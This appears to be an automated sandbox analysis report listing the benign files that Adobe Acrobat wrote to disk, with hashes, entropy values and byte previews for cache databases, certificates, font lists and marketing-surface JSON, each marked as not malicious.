Preview:	2025/01/15-02:41:07.071 1d7c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/15-02:41:07.092 1d7c Recovering log #3.2025/01/15-02:41:07.115 1d7c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438875636583971
Encrypted:	false
SSDEEP:	384:yeaci5G0iBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:14urVgazUpUTTGt
MD5:	D48F6406B6A3F1DA11AE4054098E80C0
SHA1:	F2055CB1A29CE0BD8CEB4A0866DB02E70013D894
SHA-256:	7E9B56D4CFD97148F406982B5A51BD17EF28E95F174FE4C7C8E13D661CE78D71
SHA-512:	1931A40CC76DDD0BB09620A71AF8E39D94FEF23492813BFC9812AD8F1B6BC88C3E3CE1D7F43AF9FA655D1EE44D2FBF1CEC7D1A67F0313E4145C228F94FD2709B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7757671276961244
Encrypted:	false
SSDEEP:	48:7Myp/E2ioyVrioy3DoWoy1CABoy1/KOioy1noy1AYoy1Wioy1hioybioyPoy1noP:7xpjur0iABXKQ6qb9IVXEBodRBkX
MD5:	339D4A6E89CAB8A65AE29021D78DA5C8
SHA1:	7DCD86DABEA8CBE51707741A672D50E61E5C228E
SHA-256:	731896FEDEB7C1096E2B1C7E32E658F6FE7D5909F200FFD0DC272C81E5BF8668
SHA-512:	43A8FF197B8E3C06C66B86693F18FA55A2CFA7FC1D92156A616D84E25FBBD1F9C79568FD4B9EAA61C13F6FA1D614BBC54D6FBB5F58C70EB15444906886AC0627
Malicious:	false
Preview:	.... .c.......&V...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7321365340992054
Encrypted:	false
SSDEEP:	3:kkFklEwM1fllXlE/HT8kqjNNX8RolJuRdxLlGB9lQRYwpDdt:kKdwM2T8vNMa8RdWBwRd
MD5:	59DD5C02863EEEC01734D44546D20666
SHA1:	93F9DDB9FE54EBFC3E5281EB0BD8CB463BCB3C98
SHA-256:	67BDA67C8A8EC4B12372C7CD088427A5D523B379F9D9EAD894E0AFC7EC882656
SHA-512:	27E0EB7D0BCD80848700963D87AD3E4AD536E1AEFB6C79368C02507489A20BBE6180DA7005A11511B76CA00BD2E3BC28137D6A4E8A66AD48CFF53425C9E25DB1
Malicious:	false
Preview:	p...... ........w0.. g..(....................................................... ..........W.....x..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.232338711620486
Encrypted:	false
SSDEEP:	6:kKk+k3D9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:MbqDImsLNkPlE99SNxAhUe/3
MD5:	BA28E97854CF99085A8D08D9FB6CB3FB
SHA1:	E0E746ECAFB0C8A8EF75D4C33A05FDE87467C5B2
SHA-256:	D0ABCEE82F40B5B22F971862F1DDEDCE7B1E57FE41546A1A742B1E0BC72199AD
SHA-512:	72F090F45AB47A40E1064EB73ECA7BDC119B54DE9BC293EB6050A4AC18A1228DEBB27ED054705796B90BF8586EE74B1EF42B78D97E4A64EA28DAD6480D5F39FF
Malicious:	false
Preview:	p...... ..........#. g..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7200

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7200

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.371400148025858
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmA96g5lUcbUtWWsGiIPEeOF0YpU0CJ2xoAvJM3g98kUwPeUkwRe9:YvXKXms6g8wERsdTeOJYnGMbLUkee9
MD5:	6041459214DB350600ABD0937DB8D532
SHA1:	9175A5012F84F57A853F918994AEE5DF2EF6D31D
SHA-256:	376BEEC6E0B841B8F4173837CC317BA26867296EF1E2CB396B0662AB788025DD
SHA-512:	E99DF80856B10459659496F73E6B8800D91E21C7C0D6B784609C03031519D349CF1DAEEBDEAA40FFB70C54D689B40F447CE6BD4C528D5D1E66F9C0C456199608
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7feb6682-99a7-4b19-ab07-192bf20db17c","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1737101218898,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.308115321219679
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmA96g5lUcbUtWWsGiIPEeOF0YpU0CJ2xoAvJfBoTfXpnrPeUkwRe9:YvXKXms6g8wERsdTeOJYnGWTfXcUkee9
MD5:	1B699A99BEB3E5568140BEB01F9F6E3A
SHA1:	78CB7E37B3FF773BDD4500B17A9F5639E539B238
SHA-256:	DC0D427DD75E505840A2B34CD23ECDEE8A365BCF0989A13314643ADF74646219
SHA-512:	D5660CA50E2BAC8A477C4CFB948A3257A457E5EC68EE9171510EFC39A096D09F3A7F92A6308F1154A41105EF8858138D3B685D24992E1CC8374E158684799AF8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7feb6682-99a7-4b19-ab07-192bf20db17c","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1737101218898,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.286821535446557
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmA96g5lUcbUtWWsGiIPEeOF0YpU0CJ2xoAvJfBD2G6UpnrPeUkwRe9:YvXKXms6g8wERsdTeOJYnGR22cUkee9
MD5:	BCD1279CF856756E324B16F1321FAAD6
SHA1:	A17DE04A3FF1963EE81D8AF50FCA8EDF01DC47C9
SHA-256:	30AB72602A9461425839489A70FE152DBA18E291AD11999657EB2E35C0E64071
SHA-512:	D2EDA04B3EE312AEAD4E9953D52B2F61F87916FF1889D5157A37773A6493AFEA0B9D913CCB50C7194961D5F6DA4CD95551C810F620D05C1ED239879E1C8F67E9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7feb6682-99a7-4b19-ab07-192bf20db17c","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1737101218898,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.358560442819574
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmA96g5lUcbUtWWsGiIPEeOF0YpU0CJ2xoAvJfPmwrPeUkwRe9:YvXKXms6g8wERsdTeOJYnGH56Ukee9
MD5:	CF26E80257468C9F319806533AA5CA25
SHA1:	6E23F916B18A799CFB80C936726775CA44DD10DC
SHA-256:	075F6456C24F1D7882234A536D026014D185D3C1CA89BA5E26907717ECABCF0B
SHA-512:	AFBC810DD0FD24500B524208401EF872C070E12B54DCAA52D83EE03D9DE67E9D3AE599F08510381E770EA88E8CF1A249510D632AC02034432D58AC1CF9ABC899
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7feb6682-99a7-4b19-ab07-192bf20db17c","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1737101218898,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.692527669864327
Encrypted:	false
SSDEEP:	24:Yv6Xt2meObpLgE9cQx8LennAvzBvkn0RCmK8czOCCSwY:YvG1echgy6SAFv5Ah8cv/wY
MD5:	2E591A7FD982987E44F17A330152DD6F
SHA1:	EE3758FEEEFF733B997D02F4F5FCC2F3225C5CD6
SHA-256:	E8BEB13F1F9E1AD48D7F7BCCAFB367332F52E9B744E8E263336BD4623D6F83A2
SHA-512:	81618A228368CAAF49A2AB04B2B7311C5F514FA3D08DF91FEBA4E10E0DCF0F3D5D275D5A57C343BDE12D784923E2E80DA6183EC683CA103C1D2A60089BD29FD3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7feb6682-99a7-4b19-ab07-192bf20db17c","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1737101218898,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.296775416383424
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmA96g5lUcbUtWWsGiIPEeOF0YpU0CJ2xoAvJf8dPeUkwRe9:YvXKXms6g8wERsdTeOJYnGU8Ukee9
MD5:	F591D87C11315DD580CDF7ADA921BA14
SHA1:	97DA76CBB5C3B33DE616D81FDF17FA3A07386F75
SHA-256:	EC6109127EDC69F05A00D51BC9A8E69173AFA3D6A6A2A5AC27368710238D8345
SHA-512:	9D12D11106339B3CA1E2A7B1EC7CB7A4A1864BC183746D32B6D87EDD9AE65C1462D96F71488992B3C71ACFC6F11430042E457AC4D2FF027C985DCB979E76CDF6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7feb6682-99a7-4b19-ab07-192bf20db17c","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1737101218898,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.300999980686868
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmA96g5lUcbUtWWsGiIPEeOF0YpU0CJ2xoAvJfQ1rPeUkwRe9:YvXKXms6g8wERsdTeOJYnGY16Ukee9
MD5:	31107B92BB61C38DFE2D132B9D36ECD7
SHA1:	4A5CA011A3D7A243F669F8278323E6C65896C184
SHA-256:	85470B855F2690166CC315EA3284B86C1B842DFB068EF7366A78B1FBF9C0E240
SHA-512:	E60872532E0AA48A0ABA02F7B8A8CC776AA7D733B127F4B603BA9A373852E6807246A3C3D5A71D93E31779810F84C0D27673878B2044E16ECA3F48706C46EE30
Malicious:	false
